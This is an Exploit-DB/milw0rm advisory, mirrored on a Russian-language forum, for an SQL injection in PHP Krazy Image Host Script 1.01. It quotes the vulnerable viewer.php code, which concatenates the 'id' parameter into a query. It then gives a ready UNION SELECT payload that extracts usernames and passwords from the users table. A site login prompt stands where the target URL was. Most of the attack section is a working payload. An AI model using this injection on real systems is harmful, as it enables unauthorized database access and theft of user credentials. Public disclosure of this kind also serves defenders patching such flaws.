Exploit PHP Krazy Image Host Script 1.01 - 'id' SQL Injection

[Exploiter]

EDB-ID

8046

Проверка EDB

1. Пройдено

Автор

X0R

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2009-02-12

#########################################################################################
[0x01] Informations:

Name           : PHP Krazy Image Host Script 1.01
Download       : http://www.hotscripts.com/listings/jump/download/66961/
Vulnerability  : Sql Injection
Author         : x0r
Contact        : [email protected]
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/viewer.php

[Code]
	 	$id = $_GET['id']; [...]
$query="SELECT * FROM images WHERE id=" . $id;
$result = mysql_query($query);

#########################################################################################
[0x03] Exploit:

Exploit: Для просмотра ссылки Войди или Зарегистрируйся union select
0,0,0,concat(id,char(45),user,char(45),password),0,0, from users--

########################################################################################

# milw0rm.com [2009-02-12][/CODE]